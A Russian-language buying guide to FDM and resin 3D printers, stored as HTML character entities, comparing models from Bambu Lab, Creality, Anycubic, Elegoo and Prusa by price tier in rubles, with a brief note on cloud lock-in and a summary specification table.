&#x43F;&#x440;&#x43E;&#x434;&#x43E;&#x43B;&#x436;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43F;&#x430;&#x440;&#x430;&#x43B;&#x43B;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x441;&#x43E; &#x441;&#x432;&#x435;&#x436;&#x438;&#x43C; P2S. 

&#x2705; &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; &#x412;&#x44B;&#x431;&#x43E;&#x440; &#x432;&#x441;&#x43B;&#x435;&#x43F;&#x443;&#x44E;, &#x431;&#x435;&#x437; &#x437;&#x43D;&#x430;&#x43D;&#x438;&#x44F; &#x437;&#x430;&#x434;&#x430;&#x447;&#x438; &#x43C;&#x438;&#x43D;&#x438;&#x43C;&#x443;&#x43C; &#x432;&#x43E;&#x437;&#x43D;&#x438; &#x43F;&#x440;&#x438; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x43E;&#x439; &#x440;&#x430;&#x43C;&#x435; &#x2014; Bambu Lab A1 &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x437;&#x430; 30 &#x442;&#x44B;&#x441;&#x44F;&#x447;;&#x441;&#x440;&#x430;&#x437;&#x443; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x442;&#x44C; ABS &#x438; ASA &#x2014; Anycubic Kobra S1 &#x43B;&#x438;&#x431;&#x43E; Elegoo Centauri Carbon;&#x43F;&#x440;&#x435;&#x434;&#x441;&#x43A;&#x430;&#x437;&#x443;&#x435;&#x43C;&#x43E;&#x441;&#x442;&#x44C; &#x438; &#x43E;&#x433;&#x440;&#x43E;&#x43C;&#x43D;&#x430;&#x44F; &#x431;&#x430;&#x437;&#x430; &#x433;&#x43E;&#x442;&#x43E;&#x432;&#x44B;&#x445; &#x43F;&#x440;&#x43E;&#x444;&#x438;&#x43B;&#x435;&#x439; &#x2014; Bambu Lab P1S.&#x41B;&#x44E;&#x431;&#x43E;&#x439; &#x438;&#x437; &#x442;&#x440;&#x451;&#x445; &#x43F;&#x43E;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43F;&#x43E;&#x440;&#x44F;&#x434;&#x43A;&#x430; 90 % &#x431;&#x44B;&#x442;&#x43E;&#x432;&#x44B;&#x445; &#x438; &#x445;&#x43E;&#x431;&#x431;&#x438;&#x439;&#x43D;&#x44B;&#x445; &#x441;&#x446;&#x435;&#x43D;&#x430;&#x440;&#x438;&#x435;&#x432;. 

&#x41F;&#x43E;&#x440;&#x43E;&#x433; &#x442;&#x440;&#x435;&#x442;&#x438;&#x439;: 50&#x2013;100 000 &#x20BD;

&#x41D;&#x430;&#x434;&#x431;&#x430;&#x432;&#x43A;&#x430; &#x438;&#x434;&#x451;&#x442; &#x43D;&#x435; &#x437;&#x430; &#x43A;&#x430;&#x447;&#x435;&#x441;&#x442;&#x432;&#x43E; &#x43E;&#x442;&#x43F;&#x435;&#x447;&#x430;&#x442;&#x43A;&#x430; &#x2014; &#x43E;&#x43D;&#x43E; &#x442;&#x443;&#x442; &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; &#x442;&#x43E; &#x436;&#x435;, &#x2014; &#x430; &#x437;&#x430; &#x43A;&#x43E;&#x43C;&#x444;&#x43E;&#x440;&#x442;, &#x440;&#x435;&#x441;&#x443;&#x440;&#x441; &#x438; &#x43C;&#x43D;&#x43E;&#x433;&#x43E;&#x446;&#x432;&#x435;&#x442;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x438;&#x437; &#x43A;&#x43E;&#x440;&#x43E;&#x431;&#x43A;&#x438;. 

Bambu Lab P2S, 68 900&#x2013;68 990 &#x20BD; &#x2014; &#x43E;&#x431;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435; P1S &#x43E;&#x431;&#x440;&#x430;&#x437;&#x446;&#x430; 2026 &#x433;&#x43E;&#x434;&#x430;. &#x41E;&#x431;&#x44A;&#x451;&#x43C; &#x43F;&#x440;&#x435;&#x436;&#x43D;&#x438;&#x439;, 256&#xD7;256&#xD7;256 &#x43C;&#x43C;, &#x43D;&#x43E; &#x441;&#x43A;&#x43E;&#x440;&#x43E;&#x441;&#x442;&#x44C; &#x434;&#x43E; 600 &#x43C;&#x43C;/&#x441; &#x43F;&#x440;&#x438; 20 000 &#x43C;&#x43C;/&#x441;&#xB2;, &#x43F;&#x44F;&#x442;&#x438;&#x434;&#x44E;&#x439;&#x43C;&#x43E;&#x432;&#x44B;&#x439; &#x441;&#x435;&#x43D;&#x441;&#x43E;&#x440;&#x43D;&#x44B;&#x439; &#x434;&#x438;&#x441;&#x43F;&#x43B;&#x435;&#x439; &#x432;&#x437;&#x430;&#x43C;&#x435;&#x43D; &#x43A;&#x440;&#x435;&#x441;&#x442;&#x43E;&#x432;&#x438;&#x43D;&#x44B;, &#x431;&#x44B;&#x441;&#x442;&#x440;&#x43E;&#x441;&#x44A;&#x451;&#x43C;&#x43D;&#x44B;&#x439; &#x445;&#x43E;&#x442;&#x44D;&#x43D;&#x434; &#x431;&#x435;&#x437; &#x435;&#x434;&#x438;&#x43D;&#x43E;&#x433;&#x43E; &#x432;&#x438;&#x43D;&#x442;&#x430;, &#x43A;&#x430;&#x43C;&#x435;&#x440;&#x430; 1080p &#x441; &#x440;&#x430;&#x441;&#x43F;&#x43E;&#x437;&#x43D;&#x430;&#x432;&#x430;&#x43D;&#x438;&#x435;&#x43C; &#xAB;&#x441;&#x43F;&#x430;&#x433;&#x435;&#x442;&#x442;&#x438;&#xBB; &#x438; &#x430;&#x43A;&#x442;&#x438;&#x432;&#x43D;&#x430;&#x44F; &#x43F;&#x440;&#x43E;&#x434;&#x443;&#x432;&#x43A;&#x430; &#x43A;&#x430;&#x43C;&#x435;&#x440;&#x44B;, &#x434;&#x430;&#x44E;&#x449;&#x430;&#x44F; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x442;&#x44C; PLA &#x437;&#x430; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x43E;&#x439; &#x434;&#x432;&#x435;&#x440;&#x446;&#x435;&#x439;. Tom's Hardware &#x432; &#x441;&#x432;&#x43E;&#x451;&#x43C; &#x43E;&#x431;&#x437;&#x43E;&#x440;&#x435; &#x43E;&#x442;&#x43C;&#x435;&#x447;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x438;&#x440;&#x43E;&#x441;&#x442; &#x443;&#x441;&#x438;&#x43B;&#x438;&#x44F; &#x43F;&#x43E;&#x434;&#x430;&#x447;&#x438; &#x43E;&#x43A;&#x43E;&#x43B;&#x43E; 70 % &#x43F;&#x440;&#x43E;&#x442;&#x438;&#x432; &#x43F;&#x440;&#x43E;&#x448;&#x43B;&#x43E;&#x433;&#x43E; &#x43F;&#x43E;&#x43A;&#x43E;&#x43B;&#x435;&#x43D;&#x438;&#x44F;. 

Bambu Lab X2D (88 000&#x2013;88 999 &#x20BD;) &#x438; Creality K2 Pro (94 900 &#x20BD;) &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x44E;&#x442; &#x432;&#x435;&#x440;&#x445;&#x443;&#x448;&#x43A;&#x443; &#x43F;&#x43E;&#x440;&#x43E;&#x433;&#x430;. &#x414;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x432;&#x44B;&#x431;&#x43E;&#x440; &#x43E;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x443;&#x436;&#x435; &#x44D;&#x43A;&#x43E;&#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;&#x43E;&#x439; &#x438; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F;&#x43D;&#x43E;&#x441;&#x442;&#x44C;&#x44E; &#x437;&#x430;&#x43F;&#x447;&#x430;&#x441;&#x442;&#x435;&#x439;, &#x430; &#x43D;&#x435; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;&#x430;&#x43C;&#x438;. 

&#x41A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442;&#x44B; &#x441; &#x43F;&#x43E;&#x434;&#x430;&#x447;&#x435;&#x439;: A2L Combo &#x2014; 58 500&#x2013;58 999 &#x20BD;, P1S Combo &#x441; AMS &#x2014; 66 999&#x2013;69 900 &#x20BD;, P2S Combo &#x441; AMS 2 Pro &#x2014; 96 900&#x2013;96 990 &#x20BD;. 

&#x41F;&#x43E;&#x440;&#x43E;&#x433; &#x447;&#x435;&#x442;&#x432;&#x451;&#x440;&#x442;&#x44B;&#x439;: &#x441;&#x432;&#x44B;&#x448;&#x435; 100 000 &#x20BD;

&#x41F;&#x435;&#x440;&#x435;&#x445;&#x43E;&#x434; &#x441;&#x44E;&#x434;&#x430; &#x434;&#x43E;&#x43B;&#x436;&#x435;&#x43D; &#x438;&#x43C;&#x435;&#x442;&#x44C; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x43E;&#x435; &#x43E;&#x431;&#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x435;, &#x430; &#x43D;&#x435; &#x43C;&#x43E;&#x442;&#x438;&#x432; &#xAB;&#x43F;&#x443;&#x441;&#x442;&#x44C; &#x431;&#x443;&#x434;&#x435;&#x442; &#x441; &#x437;&#x430;&#x43F;&#x430;&#x441;&#x43E;&#x43C;&#xBB;. 

&#x41E;&#x431;&#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x435; &#x43F;&#x435;&#x440;&#x432;&#x43E;&#x435; &#x2014; &#x43F;&#x430;&#x440;&#x430; &#x43D;&#x435;&#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x44B;&#x445; &#x441;&#x43E;&#x43F;&#x435;&#x43B;, &#x441;&#x43D;&#x438;&#x43C;&#x430;&#x44E;&#x449;&#x430;&#x44F; &#x433;&#x43B;&#x430;&#x432;&#x43D;&#x443;&#x44E; &#x431;&#x435;&#x434;&#x443; &#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x43E;&#x439; &#x43C;&#x43D;&#x43E;&#x433;&#x43E;&#x446;&#x432;&#x435;&#x442;&#x43A;&#x438;, &#x442;&#x43E; &#x435;&#x441;&#x442;&#x44C; &#x43E;&#x442;&#x445;&#x43E;&#x434; &#x43F;&#x440;&#x443;&#x442;&#x43A;&#x430; &#x43F;&#x440;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x438;&#x438;. &#x412;&#x442;&#x43E;&#x440;&#x43E;&#x435; &#x2014; &#x433;&#x430;&#x431;&#x430;&#x440;&#x438;&#x442;: &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x430; &#x43E;&#x442; 320 &#x43C;&#x43C; &#x43F;&#x43E; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x435;. &#x422;&#x440;&#x435;&#x442;&#x44C;&#x435; &#x2014; &#x430;&#x43A;&#x442;&#x438;&#x432;&#x43D;&#x43E; &#x43F;&#x43E;&#x434;&#x43E;&#x433;&#x440;&#x435;&#x432;&#x430;&#x435;&#x43C;&#x430;&#x44F; &#x43A;&#x430;&#x43C;&#x435;&#x440;&#x430; &#x440;&#x430;&#x434;&#x438; &#x43F;&#x43E;&#x43B;&#x438;&#x430;&#x43C;&#x438;&#x434;&#x430; &#x438; &#x43F;&#x43E;&#x43B;&#x438;&#x43A;&#x430;&#x440;&#x431;&#x43E;&#x43D;&#x430;&#x442;&#x430;. 

&#x420;&#x43E;&#x437;&#x43D;&#x438;&#x447;&#x43D;&#x44B;&#x435; &#x43E;&#x440;&#x438;&#x435;&#x43D;&#x442;&#x438;&#x440;&#x44B;: Creality K2 Plus &#x2014; 127 900 &#x20BD;, &#x43A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442; Combo &#x441; CFS &#x2014; 157 000 &#x20BD;; Bambu Lab H2S &#x2014; 143 900&#x2013;143 999 &#x20BD; (&#x432; &#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442;&#x435; Combo 169 900&#x2013;169 999 &#x20BD;); Bambu Lab H2D &#x2014; 218 900&#x2013;219 900 &#x20BD; (Combo 238 900&#x2013;239 900 &#x20BD;), &#x430; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x43D;&#x435;&#x43D;&#x438;&#x44F; &#x441; &#x43B;&#x430;&#x437;&#x435;&#x440;&#x43E;&#x43C; &#x43D;&#x430; 10 &#x438; 40 &#x412;&#x442; &#x43F;&#x435;&#x440;&#x435;&#x448;&#x430;&#x433;&#x438;&#x432;&#x430;&#x44E;&#x442; 300 &#x442;&#x44B;&#x441;&#x44F;&#x447;. 

&#x41E;&#x441;&#x43E;&#x431;&#x43D;&#x44F;&#x43A;&#x43E;&#x43C; &#x434;&#x435;&#x440;&#x436;&#x438;&#x442;&#x441;&#x44F; Prusa CORE One: &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439; CoreXY &#x441; &#x43F;&#x43E;&#x43B;&#x435;&#x43C; 250&#xD7;220&#xD7;270 &#x43C;&#x43C;, &#x430;&#x43A;&#x442;&#x438;&#x432;&#x43D;&#x44B;&#x43C; &#x443;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435;&#x43C; &#x442;&#x435;&#x43C;&#x43F;&#x435;&#x440;&#x430;&#x442;&#x443;&#x440;&#x43E;&#x439; &#x43A;&#x430;&#x43C;&#x435;&#x440;&#x44B; &#x432;&#x43F;&#x43B;&#x43E;&#x442;&#x44C; &#x434;&#x43E; 55 &#xB0;C &#x438; &#x441;&#x43E;&#x43F;&#x43B;&#x43E;&#x43C; &#x434;&#x43E; 290 &#xB0;C, &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E; $1199 &#x432; &#x441;&#x43E;&#x431;&#x440;&#x430;&#x43D;&#x43D;&#x43E;&#x43C; &#x432;&#x438;&#x434;&#x435; &#x438; $949 &#x432; &#x432;&#x438;&#x434;&#x435; &#x43A;&#x438;&#x442;&#x430;. &#x412; &#x440;&#x43E;&#x441;&#x441;&#x438;&#x439;&#x441;&#x43A;&#x43E;&#x439; &#x440;&#x43E;&#x437;&#x43D;&#x438;&#x446;&#x435; &#x432;&#x441;&#x442;&#x440;&#x435;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x435;&#x447;&#x430;&#x441;&#x442;&#x43E; &#x438; &#x441; &#x441;&#x43E;&#x43B;&#x438;&#x434;&#x43D;&#x43E;&#x439; &#x43D;&#x430;&#x446;&#x435;&#x43D;&#x43A;&#x43E;&#x439;, &#x43E;&#x434;&#x43D;&#x430;&#x43A;&#x43E; &#x44D;&#x442;&#x43E; &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x430;&#x43F;&#x43F;&#x430;&#x440;&#x430;&#x442; &#x432; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x43D;&#x435; &#x441; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x43E;&#x439; &#x43F;&#x440;&#x43E;&#x448;&#x438;&#x432;&#x43A;&#x43E;&#x439;, &#x433;&#x434;&#x435; &#x441;&#x43C;&#x435;&#x43D;&#x430; &#x43F;&#x440;&#x43E;&#x448;&#x438;&#x432;&#x43A;&#x438; &#x43D;&#x435; &#x43E;&#x442;&#x43C;&#x435;&#x43D;&#x44F;&#x435;&#x442; &#x433;&#x430;&#x440;&#x430;&#x43D;&#x442;&#x438;&#x44E;. &#x415;&#x441;&#x43B;&#x438; &#x440;&#x435;&#x43C;&#x43E;&#x43D;&#x442;&#x43E;&#x43F;&#x440;&#x438;&#x433;&#x43E;&#x434;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x438; &#x43D;&#x435;&#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x44C; &#x43E;&#x442; &#x43E;&#x431;&#x43B;&#x430;&#x43A;&#x430; &#x434;&#x43B;&#x44F; &#x432;&#x430;&#x441; &#x43F;&#x440;&#x438;&#x43D;&#x446;&#x438;&#x43F;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x44B; &#x2014; &#x430;&#x440;&#x433;&#x443;&#x43C;&#x435;&#x43D;&#x442; &#x432;&#x435;&#x441;&#x43E;&#x43C;&#x44B;&#x439;. 

&#x2139;&#xFE0F; &#x421;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; &#x41E;&#x431; &#x43E;&#x431;&#x43B;&#x430;&#x43A;&#x435; &#x438; &#x43B;&#x43E;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x435; Bambu Lab, Creality &#x438; Anycubic &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E; &#x43F;&#x440;&#x438;&#x432;&#x44F;&#x437;&#x430;&#x43D;&#x44B; &#x43A; &#x444;&#x438;&#x440;&#x43C;&#x435;&#x43D;&#x43D;&#x44B;&#x43C; &#x43F;&#x440;&#x438;&#x43B;&#x43E;&#x436;&#x435;&#x43D;&#x438;&#x44F;&#x43C; &#x438; &#x43E;&#x431;&#x43B;&#x430;&#x447;&#x43D;&#x44B;&#x43C; &#x443;&#x447;&#x451;&#x442;&#x43D;&#x44B;&#x43C; &#x437;&#x430;&#x43F;&#x438;&#x441;&#x44F;&#x43C;. &#x41B;&#x43E;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x44C; &#x43F;&#x43E; &#x441;&#x435;&#x442;&#x438; &#x435;&#x441;&#x442;&#x44C; &#x443; &#x432;&#x441;&#x435;&#x445;, &#x43D;&#x43E; &#x444;&#x443;&#x43D;&#x43A;&#x446;&#x438;&#x43E;&#x43D;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x432; &#x43D;&#x435;&#x439; &#x443;&#x440;&#x435;&#x437;&#x430;&#x43D;&#x430;, &#x430; &#x43E;&#x431;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x43F;&#x440;&#x43E;&#x448;&#x438;&#x432;&#x43E;&#x43A; &#x43F;&#x435;&#x440;&#x438;&#x43E;&#x434;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x44E;&#x442; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x430;. &#x41F;&#x43B;&#x430;&#x43D;&#x438;&#x440;&#x443;&#x435;&#x442;&#x435; &#x434;&#x435;&#x440;&#x436;&#x430;&#x442;&#x44C; &#x43F;&#x440;&#x438;&#x43D;&#x442;&#x435;&#x440; &#x432; &#x438;&#x437;&#x43E;&#x43B;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x43E;&#x43C; &#x441;&#x435;&#x433;&#x43C;&#x435;&#x43D;&#x442;&#x435; &#x2014; &#x432;&#x44B;&#x44F;&#x441;&#x43D;&#x44F;&#x439;&#x442;&#x435; &#x44D;&#x442;&#x43E;&#x442; &#x43C;&#x43E;&#x43C;&#x435;&#x43D;&#x442; &#x434;&#x43E; &#x43E;&#x43F;&#x43B;&#x430;&#x442;&#x44B;. 

&#x41F;&#x43E;&#x440;&#x43E;&#x433; &#x43F;&#x44F;&#x442;&#x44B;&#x439;: &#x444;&#x43E;&#x442;&#x43E;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440; &#x2014; &#x43D;&#x435; &#x443;&#x43B;&#x443;&#x447;&#x448;&#x435;&#x43D;&#x438;&#x435;, &#x430; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x439; &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;

&#x421;&#x43C;&#x43E;&#x43B;&#x44F;&#x43D;&#x44B;&#x435; &#x430;&#x43F;&#x43F;&#x430;&#x440;&#x430;&#x442;&#x44B; &#x43E;&#x431;&#x435;&#x441;&#x43F;&#x435;&#x447;&#x438;&#x432;&#x430;&#x44E;&#x442; &#x434;&#x435;&#x442;&#x430;&#x43B;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44E;, &#x434;&#x43B;&#x44F; FDM &#x43D;&#x435;&#x434;&#x43E;&#x441;&#x44F;&#x433;&#x430;&#x435;&#x43C;&#x443;&#x44E;. &#x423; Elegoo Mars 5 Ultra (32 900 &#x20BD;) &#x441;&#x442;&#x43E;&#x438;&#x442; &#x441;&#x435;&#x43C;&#x438;&#x434;&#x44E;&#x439;&#x43C;&#x43E;&#x432;&#x44B;&#x439; &#x44D;&#x43A;&#x440;&#x430;&#x43D; 9K &#x441; &#x43F;&#x438;&#x43A;&#x441;&#x435;&#x43B;&#x435;&#x43C; 18&#xD7;18 &#x43C;&#x43A;&#x43C; &#x43F;&#x440;&#x438; &#x43F;&#x43E;&#x43B;&#x435; 153&#xD7;78&#xD7;165 &#x43C;&#x43C;. &#x41B;&#x438;&#x43D;&#x435;&#x439;&#x43A;&#x430; Anycubic &#x43F;&#x43E;&#x434;&#x43D;&#x438;&#x43C;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43E;&#x442; Photon Mono 4 10K (29 900 &#x20BD;) &#x447;&#x435;&#x440;&#x435;&#x437; Photon Mono M7 Pro (51 900 &#x20BD;) &#x43A; M7 Max (79 500 &#x20BD;). 

&#x422;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x432;&#x43E;&#x442; &#x431;&#x440;&#x430;&#x442;&#x44C; &#x441;&#x43C;&#x43E;&#x43B;&#x443; &#xAB;&#x434;&#x43E; &#x43A;&#x443;&#x447;&#x438;, &#x440;&#x430;&#x437; &#x43D;&#x435;&#x434;&#x43E;&#x440;&#x43E;&#x433;&#x43E;&#xBB; &#x2014; &#x437;&#x430;&#x442;&#x435;&#x44F; &#x441;&#x43A;&#x432;&#x435;&#x440;&#x43D;&#x430;&#x44F;. &#x41F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441; &#x43F;&#x440;&#x438;&#x43D;&#x446;&#x438;&#x43F;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E; &#x438;&#x43D;&#x43E;&#x439;: &#x436;&#x438;&#x434;&#x43A;&#x438;&#x439; &#x444;&#x43E;&#x442;&#x43E;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440;, &#x438;&#x437;&#x43E;&#x43F;&#x440;&#x43E;&#x43F;&#x430;&#x43D;&#x43E;&#x43B; &#x434;&#x43B;&#x44F; &#x43E;&#x442;&#x43C;&#x44B;&#x432;&#x43A;&#x438;, &#x443;&#x43B;&#x44C;&#x442;&#x440;&#x430;&#x444;&#x438;&#x43E;&#x43B;&#x435;&#x442;&#x43E;&#x432;&#x430;&#x44F; &#x43A;&#x430;&#x43C;&#x435;&#x440;&#x430; &#x434;&#x43B;&#x44F; &#x434;&#x43E;&#x437;&#x430;&#x441;&#x432;&#x435;&#x442;&#x43A;&#x438;, &#x43D;&#x438;&#x442;&#x440;&#x438;&#x43B;&#x43E;&#x432;&#x44B;&#x435; &#x43F;&#x435;&#x440;&#x447;&#x430;&#x442;&#x43A;&#x438;, &#x432;&#x44B;&#x442;&#x44F;&#x436;&#x43A;&#x430;, &#x443;&#x442;&#x438;&#x43B;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44F;. &#x421;&#x432;&#x435;&#x436;&#x435;&#x43E;&#x442;&#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x43D;&#x43D;&#x443;&#x44E; &#x434;&#x435;&#x442;&#x430;&#x43B;&#x44C; &#x43D;&#x435;&#x43B;&#x44C;&#x437;&#x44F; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x432;&#x437;&#x44F;&#x442;&#x44C; &#x433;&#x43E;&#x43B;&#x43E;&#x439; &#x440;&#x443;&#x43A;&#x43E;&#x439;. &#x41D;&#x435;&#x442; &#x43E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E;&#x433;&#x43E; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x442;&#x440;&#x438;&#x432;&#x430;&#x435;&#x43C;&#x43E;&#x433;&#x43E; &#x43F;&#x43E;&#x43C;&#x435;&#x449;&#x435;&#x43D;&#x438;&#x44F; &#x2014; &#x431;&#x435;&#x440;&#x438;&#x442;&#x435; FDM. 



&#x411;&#x430;&#x437;&#x43E;&#x432;&#x44B;&#x435; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x438; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x442;&#x430;&#x431;&#x43B;&#x438;&#x446;&#x435;&#x439;


&#x41C;&#x43E;&#x434;&#x435;&#x43B;&#x44C;&#x41A;&#x438;&#x43D;&#x435;&#x43C;&#x430;&#x442;&#x438;&#x43A;&#x430; / &#x43A;&#x43E;&#x440;&#x43F;&#x443;&#x441;&#x41E;&#x431;&#x43B;&#x430;&#x441;&#x442;&#x44C; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x438;, &#x43C;&#x43C;&#x421;&#x43E;&#x43F;&#x43B;&#x43E; / &#x441;&#x442;&#x43E;&#x43B;&#x426;&#x435;&#x43D;&#x430; &#x432; &#x420;&#x424;, &#x20BD;
Bambu Lab A1 mini&#x431;&#x435;&#x434;&#x441;&#x43B;&#x438;&#x43D;&#x433;&#x435;&#x440;, &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;180&#xD7;180&#xD7;180300 / 80 &#xB0;C19 999&#x2013;21 900
Creality Ender-3 V3 KE&#x431;&#x435;&#x434;&#x441;&#x43B;&#x438;&#x43D;&#x433;&#x435;&#x440;, &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;&#x2014;300 &#xB0;C~27 900
Bambu Lab A1&#x431;&#x435;&#x434;&#x441;&#x43B;&#x438;&#x43D;&#x433;&#x435;&#x440;, &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;256&#xD7;256&#xD7;256300 / 100 &#xB0;C29 999&#x2013;32 900
Anycubic Kobra S1CoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;250&#xD7;250&#xD7;250320 &#xB0;C30 300&#x2013;39 800
Elegoo Centauri CarbonCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;256&#xD7;256&#xD7;256320 / 110 &#xB0;C35 000&#x2013;52 000
Bambu Lab A2L&#x431;&#x435;&#x434;&#x441;&#x43B;&#x438;&#x43D;&#x433;&#x435;&#x440;, &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;330&#xD7;320&#xD7;325300 / 80 &#xB0;C44 900&#x2013;44 999
Bambu Lab P1SCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;256&#xD7;256&#xD7;256300 / 100 &#xB0;C49 900&#x2013;49 990
Bambu Lab P2SCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;256&#xD7;256&#xD7;256300 / 100 &#xB0;C68 900&#x2013;68 990
Bambu Lab X2DCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;&#x2014;&#x2014;88 000&#x2013;88 999
Creality K2 ProCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;&#x2014;&#x2014;94 900
Creality K2 PlusCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;&#x2014;&#x2014;127 900
Bambu Lab H2SCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;&#x2014;&#x2014;143 900&#x2013;143 999
Bambu Lab H2DCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;, &#x434;&#x432;&#x430; &#x441;&#x43E;&#x43F;&#x43B;&#x430;&#x2014;&#x2014;218 900&#x2013;219 900
Prusa CORE OneCoreXY, &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439;, &#x43A;&#x430;&#x43C;&#x435;&#x440;&#x430; &#x434;&#x43E; 55 &#xB0;C250&#xD7;220&#xD7;270290 &#xB0;C$1199 &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;
Elegoo Mars 5 Ultra&#x444;&#x43E;&#x442;&#x43E;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440;, 9K, &#x43F;&#x438;&#x43A;&#x441;&#x435;&#x43B;&#x44C; 18 &#x43C;&#x43A;&#x43C;153&#xD7;78&#xD7;165&#x2014;32 900
